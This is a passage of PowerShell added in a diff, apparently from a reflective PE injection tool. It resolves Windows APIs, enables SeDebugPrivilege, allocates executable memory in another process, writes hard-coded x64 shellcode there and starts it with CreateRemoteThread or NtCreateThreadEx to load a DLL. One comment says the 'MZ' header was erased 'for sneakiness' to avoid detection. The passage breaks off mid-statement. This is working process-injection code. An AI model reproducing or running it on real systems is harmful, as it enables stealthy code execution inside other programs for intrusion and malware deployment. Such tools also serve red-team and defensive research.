+ $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Get-Hex + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + $Value #We will determine the type dynamically + ) + + $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 + $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. + + return $Hex + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Create-RemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ([Int32]$NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = 